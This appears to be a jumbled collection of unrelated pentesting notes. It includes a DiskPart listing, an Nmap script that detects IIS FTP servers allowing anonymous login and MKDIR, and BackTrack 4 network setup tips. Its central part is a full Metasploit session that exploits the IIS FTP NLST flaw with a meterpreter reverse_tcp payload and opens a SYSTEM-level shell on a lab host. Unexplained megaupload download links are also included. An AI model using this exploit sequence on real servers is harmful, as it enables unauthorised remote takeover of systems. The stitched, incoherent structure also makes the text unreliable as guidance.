Microsoft DiskPart version 5.1.3565

Copyright (C) 1999-2003 Microsoft Corporation.
On computer: AMD64-3000
DISKPART> list volume
Volume ### Ltr Label Fs Type size Status Info
---------- --- ----------- ----- ---------- ------- --------- --------
Volume 0 W DVD-ROM 0 B
Volume 1 V DVD-ROM 0 B
Volume 2 N DVD-ROM 0 B
Volume 3 C MainATA NTFS Partition 20 GB Healthy System
Volume 4 D Programs NTFS Partition 92 GB Healthy Pagefile
Volume 5 H WinVista 32 NTFS Partition 112 GB Healthy
Volume 6 E AClassNewDV NTFS Partition 190 GB Healthy
Volume 7 G Max300 NTFS Partition 279 GB Healthy
Volume 8 F BClassMovie NTFS Partition 190 GB Healthy
DISKPART>

--- Checks if a Microsoft FTP server allows anonymous logins + MKDIR
--- If yes, could be vulnerable to the following exploit:
--- http://seclists.org/fulldisclosure/2009/Aug/0443.html
-- @output
-- |_ FTP: IIS Server allow anonymous and mkdir (potentially vulnerable)
--
-- @args ftpuser Alternate user to initiate the FTP session
-- ftppass Alternate password to initiate the FTP session
-- If no arguments are passed, anonymous FTP session is probed
id="IIS FTP"
description="Checks to see if a Microsoft ISS FTP server allows anonymous logins and MKDIR (based on anonftp.nse by Eddie Bell <ejlbell@gmail.com>)"
author = "Xavier Mertens <xavier@rooshell.be>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default", "auth", "intrusive"}
require "shortport"
local stdnse = require "stdnse"
---
-- portrule = shortport.port_or_service(21, "ftp")
portrule = function(host,port)
if (port.number == 21 and
(port.state == "open" or port.state == "open|filtered"))
then
return true
else
return false
end
end
---
-- Connects to the ftp server and checks if the server allows
-- anonymous logins or any credentials passed as arguments
action = function(host, port)
local socket = nmap.new_socket()
local result
local status = true
local isAnon = false
local err_catch = function()
socket:close()
end
local try = nmap.new_try(err_catch())
socket:set_timeout(5000)
try(socket:connect(host.ip, port.number, port.protocol))
if (type(nmap.registry.args.ftpuser) == "string" and nmap.registry.args.ftpuser ~= "" and
type(nmap.registry.args.ftppass) == "string" and nmap.registry.args.ftppass ~= "")
then
local struser = "USER " .. nmap.registry.args.ftpuser .. "\r\n"
local strpass = "PASS " .. nmap.registry.args.ftppass .. "\r\n"
try(socket:send(struser))
try(socket:send(strpass))
else
try(socket:send("USER anonymous\r\n"))
try(socket:send("PASS IEUser@\r\n"))
end
while status do
status, result = socket:receive_lines(1);
if string.match(result, "^230") then
try(socket:send("RSTATUS\r\n"))
while status do
status, result = socket:receive_lines(1);
if string.match(result, "^211-Microsoft FTP Service") then
try(socket:send("MKD w00t\r\n"))
while status do
status, result = socket:receive_lines(1);
if string.match(result, "^257") then
isVuln=true
try(socket:send("RMDIR w00t\r\n"))
break;
end
end
end
end
end
end
socket:close()
if(isVuln) then
return "IIS Server allow anonymous and mkdir (potentially vulnerable)"
end
end

# nmap -p 21 -sV --script=IIS-FTP --scriptargs=ftpuser=foo,ftppass=bar 10.0.0.7

=[ msf v3.3-dev
+ -- --=[ 403 exploits - 273 payloads
+ -- --=[ 21 encoders - 8 nops
=[ 193 aux
msf > use exploit/windows/ftp/microsoft_ftpd_nlst
msf exploit(microsoft_ftpd_nlst) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(microsoft_ftpd_nlst) > set LHOST 192.168.0.136
LHOST => 192.168.0.136
msf exploit(microsoft_ftpd_nlst) > set RHOST 192.168.0.128
RHOST => 192.168.0.128
msf exploit(microsoft_ftpd_nlst) > exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Connecting to FTP server 192.168.0.128:21...
[*] Connected to target FTP server.
[*] Authenticating as anonymous with password <a href="mailto:mozilla@example.com">mozilla@example.com</a>...
[*] Sending password...
[*] 257 "RTIXDYMRJB" directory created.
[*] 250 CWD command successful.
[*] Creating long directory...
[*] 257 "SQL�UURU5UUUU@�8QKORu�@@@@��GVSVIHLODRPRVJDPILGXHZNKLNIYQZKGXCWEAGFGHTXSXDBYDLLXKGKYWUJNJGTZX����ASNOHNZRTDAAMVPKVEQRAVWPUJNGYKWSAIUMUPWLBU������������w�����YYTPSDOYTB�f���ICVFVCFUIZKQTRMIEWETKWE" directory created.
[*] 200 PORT command successful.
[*] Trying target Windows 2000 SP4 Universal (IIS 5.0)...
[*] 150 Opening ASCII mode data connection for file list.
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.0.136:4444 -> 192.168.0.128:1076)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

# nmap --script-updatedb

# Nmap-p 21-sV - script = IIS-FTP 10.0.0.7
Starting Nmap 4.76 ( http://nmap.org ) at 2009-09-01 01:15 CEST
Interesting ports on test-win (10.0.0.7):
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ IIS FTP: IIS Server allow anonymous and mkdir (potentially vulnerable)
Service Info: OS: Windows

http://www.megaupload.com/?d=44DB7YB0
 http://www.megaupload.com/?d=3SZ4B83W
 http://www.megaupload.com/?d=4AVDQ5WW
 http://www.megaupload.com/?d=BOZ45GZD
 http://www.megaupload.com/?d=5N51R6HZ

sudo passwd root

ipconfig eth0 <your ip addres>
route add default gw <default gateaway>
echo nameserver <server name ip> > /etc/resolv.conf
ifconfig eth0 up

back|track 4 boots with networking disabled. You don't always want to SCREAM for DHCP when plugging into a client's network.
To enable networking by DHCP:
code:
/etc/init.d/networking start
To do things manually, first assign an IP address and subnet mask:
code:
ifconfig eth0 <IP address> netmask <subnet mask>
Example: ifconfig eth0 192.168.1.100 netmask 255.255.255.0
Configure the default gateway:
code:
route add default gw <default gateway IP address>
Example: route add default gw 192.168.1.1
Configure the DNS server:
code:
echo "nameserver <DNS server's IP address>" > /etc/resolv.conf
Example: echo "nameserver 192.168.1.1" > /etc/resolv.conf
*** FIX ***
After running apt-get update, the dhcpd3 service may try to start at boot up and fail. The apache2 service also starts. To correct this:
code:
update-rc.d -f dhcp3-server remove
update-rc.d -f apache2 remove
credit: mfBaranian, KMDave